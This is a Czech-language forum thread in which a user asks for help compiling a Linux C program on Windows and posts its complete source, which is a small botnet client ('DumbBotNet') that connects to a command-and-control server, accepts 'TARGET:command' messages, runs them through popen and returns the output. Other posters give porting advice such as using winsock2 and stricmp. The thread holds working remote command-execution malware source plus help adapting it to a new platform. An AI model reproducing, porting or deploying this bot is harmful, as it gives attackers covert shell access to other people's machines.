Diskuze: Kompilace pod Linuxem
V předchozím kvízu, Online test znalostí C++, jsme si ověřili nabyté zkušenosti z kurzu.
Člen
Zobrazeno 10 zpráv z 10.
//= Settings::TRACKING_CODE_B ?> //= Settings::TRACKING_CODE ?>
V předchozím kvízu, Online test znalostí C++, jsme si ověřili nabyté zkušenosti z kurzu.
Záleží, co tam používáš - pokud jsi ho napsal bez použití záležitostí specifických pro Linux, tak prostě vezmi kód a přelož ho v libovolném kompilátoru na Windows (nebo je i možnost po nějaké té konfiguraci kompilovat na Linuxu binárky pro Windows)..
Pokud používáš Linuxové funkce (tj. je tam třeba něco jako: #include <linux/....h> - libovolný nestandardní hlavičkový soubor), tak ti nezbývá nic jiného, než použít http://www.mingw.org/ nebo http://www.cygwin.com/, pokud potřebuješ POSIX.
Mingw to vyřešil, díky moc. Ale ještě bych měl prosbu pánové. Nevíte co s tím?
Při kompilaci mi to hází:
bot.c: In function 'bot_parse':
bot.c:66:7: warning: implicit declaration of function 'strcasecmp' [-Wimplicit-function-declaration]
if (strcasecmp (target, "all") && strcasecmp(target, bot_id))
^
c:/mingw/bin/../lib/gcc/mingw32/5.3.0/../../../../mingw32/bin/ld.exe: cannot find -lpthread
collect2.exe: error: ld returned 1 exit status
Fce "bot_parse" normálně po kompilaci pod linuxem nedělá problém, vypadá následnovně:
int
bot_parse (int s, char *msg)
{
char *target = msg;
char *cmd = NULL;
if ((cmd = strchr (msg, ':')) == NULL)
{
printf ("!! Malformed command. Should be TARGET:command\n");
return -1;
}
*cmd = 0;
cmd++;
cmd[strlen(cmd) - 1] = 0;
if (strcasecmp (target, "all") && strcasecmp(target, bot_id))
return 0;
printf ("+ Executing command: '%s'\n", cmd);
bot_run_cmd (s, cmd);
return 0;
}
To je jenom warning, chyba je až to pod tím. Chybí tomu knihovna pthread.
Doinstalovaj jsem tedy knihovnu. Následně zkusil zkompilovat a hází mi to následující:
C:\Users\okay\AppData\Local\Temp\cc6hWUdw.o:bot.c:(.text+0x209): undefined reference to `inet_addr@4'
C:\Users\okay\AppData\Local\Temp\cc6hWUdw.o:bot.c:(.text+0x229): undefined reference to `htons@4'
C:\Users\okay\AppData\Local\Temp\cc6hWUdw.o:bot.c:(.text+0x24f): undefined reference to `socket@12'
C:\Users\okay\AppData\Local\Temp\cc6hWUdw.o:bot.c:(.text+0x290): undefined reference to `connect@12'
collect2.exe: error: ld returned 1 exit status
Já věděl, že převést to na windows nebude tak jednoduchý
Ma ten kod vela riadkov? Ak ni pastni ho sem a mozno ho niekto upravi pre windows. Ak si ho pisal sam, bolo by dobre ho okomentovat. Do hlavy programatora dost spatne vidiet.
Tak tady je. Pokud by se někdo nudil a by by ochoten to přepsat pod windows, budu mu vděčen. Třeba je chyba pouze mezi židlí a PC, proto mi to nelze přeložit.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define CC_SERVER "127.0.0.1"
#define CC_PORT 9999
#define MAX_BUF 1024
#define PEXIT(str) {perror (str);exit(1);}
static char *bot_id = NULL;
int
bot_print (int s, char *str)
{
return write (s, str, strlen(str));
}
int
bot_read (int s, char *msg)
{
memset (msg, 0, MAX_BUF);
if (read (s, msg, MAX_BUF) <= 0) PEXIT ("bot_read:");
return 0;
}
int
bot_run_cmd (int s, char *cmd)
{
char line[1024];
FILE *f = popen (cmd,"r");
if (!f) return -1;
while (!feof (f))
{
if (!fgets (line, 1024, f)) break;
bot_print (s, bot_id);
bot_print (s, ":");
bot_print (s, line);
}
fclose(f);
return 0;
}
int
bot_parse (int s, char *msg)
{
char *target = msg;
char *cmd = NULL;
if ((cmd = strchr (msg, ':')) == NULL)
{
printf ("!! Malformed command. Should be TARGET:command\n");
return -1;
}
*cmd = 0;
cmd++;
cmd[strlen(cmd) - 1] = 0;
if (strcasecmp (target, "all") && strcasecmp(target, bot_id))
return 0;
printf ("+ Executing command: '%s'\n", cmd);
bot_run_cmd (s, cmd);
return 0;
}
int
bot_connect_cc (char *ip, int port)
{
char msg[1024];
struct sockaddr_in server;
int s;
server.sin_addr.s_addr = inet_addr(ip);
server.sin_family = AF_INET;
server.sin_port = htons(port);
if ((s = socket (PF_INET, SOCK_STREAM, 0)) < 0)
PEXIT ("socket:");
if ((connect (s, (struct sockaddr*) &server, sizeof(server))) < 0)
PEXIT ("conect:");
snprintf (msg, 1024, "%s: This is '%s' Up and Running\n", bot_id, bot_id);
bot_print (s, msg);
return s;
}
int
main (int argc, char* argv[])
{
char msg[MAX_BUF];
int cc_s;
if (argc !=2) PEXIT ("Invalid Number Of Arguments:");
bot_id = strdup (argv[1]);
printf ("'%s' joining the DumbBotNet\n", bot_id);
cc_s = bot_connect_cc (CC_SERVER, CC_PORT);
while (1)
{
bot_read (cc_s, msg);
bot_parse (cc_s, msg);
}
}
Najdi si na nete ekvivalenty pre windows.
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
Asi bude treba niekde aj trochu upravit kod, aby s ekvivalentami
komunikoval.
Za pomoci preprocesoru mozes potom spravit ten kod multiplatformovy.
Ty síťové věci by mělo na Windows vyřešit
#include <winsock2.h>
Co se týče toho "implicit declaration", tak to bys opravdu neměl ignorovat, protože to v podstatě znamená, že nebyla nalezena hlavička pro danou funkci. Takže výsledek pak fungovat nebude. Warningy se nevyplatí nikdy ignorovat.
Co se týče strcasecmp, jejím ekvivalentem na Windows je stricmp.
Zobrazeno 10 zpráv z 10.